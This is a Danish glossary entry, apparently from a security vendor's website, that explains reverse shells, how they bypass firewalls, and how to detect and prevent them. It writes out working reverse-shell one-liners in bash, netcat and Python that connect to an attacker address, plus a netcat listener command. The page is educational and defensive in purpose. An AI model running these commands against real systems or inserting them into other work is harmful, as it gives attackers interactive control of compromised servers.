Ordliste Reverse Shell

Reverse Shell

TL;DR: Reverse Shell

En reverse shell, også kendt som en connect-back shell, er når et kompromitteret system forbinder til angriberen og giver dem en live kommandolinjesession.

Hvorfor er dette vigtigt?

  • Reverse shells kan omgå firewalls da de fleste firewalls blokerer indgående forbindelser, men tillader udgående.
  • Angribere får reel kontrol fordi de kan køre kommandoer, som om de er logget ind direkte.
  • Reverse shells er meget almindelige da de er et standardtrin efter en angriber udnytter et system.

Forestil dig det sådan: i stedet for at angriberen prøver at komme ind, narrer de serveren til at række ud til dem.

Hvad er en Reverse Shell?

En reverse shell er en fjernshell, hvor offerets computer starter forbindelsen til angriberens computer.

Normalt starter din computer forbindelsen, som når du besøger en hjemmeside. Med en reverse shell er dette omvendt. Efter angriberen finder en måde at køre kode på, forbinder serveren tilbage til angriberen.

En nem måde at huske det på:

  • Bind shell: Du prøver at forbinde til serveren. Hvis en firewall blokerer dig, kan du ikke komme igennem.
  • Reverse shell: Serveren forbinder til dig. Da udgående forbindelser normalt er tilladt, kan du svare og tage kontrol.

Hvorfor Reverse Shells er Vigtige

Sikkerhedsteams fokuserer normalt på forsvar som firewalls, load balancers og begrænsning af porte. Disse fungerer, indtil en angriber formår at køre kode inde i systemet.

Når det sker, bliver reverse shell angriberens hovedmetode til at blive inde.

Hvorfor er dette farligt:

  • Udgående trafik er betroet.

    Firewalls tillader ofte udgående trafik på porte som 80 eller 443 for opdateringer og API’er. Omvendte skaller kan skjule sig i denne tilladte trafik.

  • Angribere kan opretholde adgang.

    Selv hvis det oprindelige sikkerhedshul er lukket, kan en aktiv skal stadig give angribere kontrol over systemet.

  • Det muliggør lateral bevægelse.

    Med en skal kan angribere undersøge det interne netværk, stjæle adgangskoder og bevæge sig til andre computere. Én sårbarhed kan hurtigt føre til, at hele miljøet kompromitteres.

Hvordan en Omvendt Skal Fungerer

En omvendt skal har to hoveddele: lytteren og payloaden.

1. Lytteren (Angriber Side)

Angriberen bruger et program, der venter på forbindelser. Netcat er et almindeligt værktøj til dette.

nc -lvnp 4444

Denne kommando fortæller angriberens computer at lytte på port 4444 og vente på en forbindelse.

2. Payloaden (Offer Side)

Efter at have fundet en sårbarhed som Remote Code Execution, kører angriberen en kommando på offerets server for at åbne en skal og sende den tilbage.

bash -i >& /dev/tcp/angriber-ip/4444 0>&1

Denne kommando starter en bash-skal og sender al input og output til angriberens computer.

3. Forbindelsen

Offerets server starter en udgående forbindelse. Firewallen ser dette som normalt og tillader det. Angriberens lytter accepterer forbindelsen, hvilket giver angriberen en live skal på serveren.

På dette tidspunkt har angriberen fuld interaktiv kontrol over serveren.

Almindelige Eksempler på Omvendte Skaller

Angribere og etiske hackere tilpasser deres tilgang baseret på hvilke værktøjer der er tilgængelige på målsystemet.

Bash (Almindelig på Linux)

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Netcat

Bruges når Netcat er tilgængelig på målmaskinen.

nc -e /bin/sh 10.0.0.1 4444

Python

Python er meget almindelig på moderne servere.

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'

Reverse Shell vs Bind Shell

At kende forskellen mellem reverse shells og bind shells hjælper med at forsvare netværk.

FunktionBind ShellReverse Shell
ForbindelsesretningAngriber til OfferOffer til Angriber
Firewall indvirkningOfte blokeretOfte tilladt
NetværkskravDirekte adgang nødvendigFungerer gennem NAT og firewalls
Typisk brugssagInterne netværkVirkelige angreb

Hvem bruger Reverse Shells?

  • Penetrationstestere bruger reverse shells til at bevise, at en sårbarhed kan føre til fuld systemkompromittering.
  • Red teams bruger reverse shells til at teste, hvor godt udgående trafik kontrolleres.
  • Ondsindede aktører bruger reverse shells til at implementere ransomware, stjæle data eller bevæge sig længere ind i et netværk.
  • Systemadministratorer bruger sjældent reverse shells til fjernadgang. De foretrækker normalt sikre SSH-tunneler.

Detektion og Forebyggelse

At stoppe reverse shells kræver flere lag af forsvar.

  • Udgående trafikfiltrering

    Servere bør ikke have åben adgang til internettet. Begræns hvilke destinationer og porte de kan bruge.

  • Adfærdsmonitorering

    En webserver, der starter en shell-proces, såsom /bin/bash eller cmd.exe, er meget mistænkelig.

  • Reducer angrebsfladen.

    Fjern ubrugte værktøjer som Netcat, kompilatorer og ekstra tolke fra produktionssystemer.

Relaterede Termer

  • Fjernkodeudførelse (RCE)
  • Bind Shell

FAQ: Reverse Shell

Er en reverse shell ulovlig?

Reverse shells er kun lovlige, hvis du bruger dem på systemer, du ejer eller har klar tilladelse til at teste. Brug af dem uden tilladelse er ulovligt.

Hvorfor tillader firewalls reverse shells?

Firewalls er bygget til at blokere indkommende trusler og stoler normalt på udgående trafik. Reverse shells udnytter dette.

Kan et antivirus opdage reverse shells?

Nogle gange. Antivirussoftware, der bruger signaturer, kan finde kendte shell-programmer, men filfri shells lavet med Bash eller Python er meget sværere at opdage.

Hvad er forskellen mellem en reverse shell og en webshell?

En webshell bruges gennem en browser og forbliver normalt på systemet, men har begrænsede funktioner. En reverse shell giver en live, interaktiv kommandolinjesession.

Næste Skridt

Klar til at sikre dine applikationer? Vælg din vej fremad.

Deltag i 500+ virksomheder, der allerede sikrer deres applikationer med Plexicus

SOC 2 Compliant
ISO 27001 Certified
Enterprise Ready